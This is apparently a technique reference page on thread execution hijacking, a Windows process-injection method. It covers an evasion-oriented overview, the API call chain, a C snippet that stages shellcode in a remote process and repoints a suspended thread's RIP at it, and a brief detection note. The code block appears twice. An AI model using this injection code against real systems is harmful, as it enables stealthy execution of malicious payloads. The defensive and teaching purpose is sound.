Thread Execution Hijacking
Overview
Instead of creating a thread — the single loudest event in classic injection — hijacking borrows one
that already exists. Suspend it, save its context, point RIP at staged shellcode, resume. If the
shellcode restores the saved context when it finishes, the host thread continues as if nothing
happened.
No new thread means no Sysmon event ID 8, which is why this technique outlives the classic approach in tooling that cares about telemetry.
Picking the thread matters more than the mechanics. Hijacking a UI or RPC thread that is mid-call will hang or crash the host; most implementations enumerate threads and prefer one parked in a wait.
The call chain
- 1OpenThread + SuspendThreadFreeze an existing thread in the target rather than creating a new one.
- 2VirtualAllocEx + WriteProcessMemoryStage the shellcode; write RW first, flip later.
- 3GetThreadContextCapture the register state so the original flow can be restored.
- 4SetThreadContextRepoint RIP at the staged shellcode.
- 5ResumeThreadLet the hijacked thread run the payload, then trampoline back.
Reference implementation
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
SuspendThread(hThread);
PVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(hProc, mem, size, PAGE_EXECUTE_READ, &old); // RW -> RX, never RWX
CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL };
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)mem; // save ctx first; the stub restores it on exit
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
SuspendThread(hThread);
PVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(hProc, mem, size, PAGE_EXECUTE_READ, &old); // RW -> RX, never RWX
CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL };
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)mem; // save ctx first; the stub restores it on exit
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);Detection
The cross-process SetThreadContext call is the high-fidelity signal here. Baseline your debuggers
and crash handlers, then alert on everything else — the legitimate population is very small.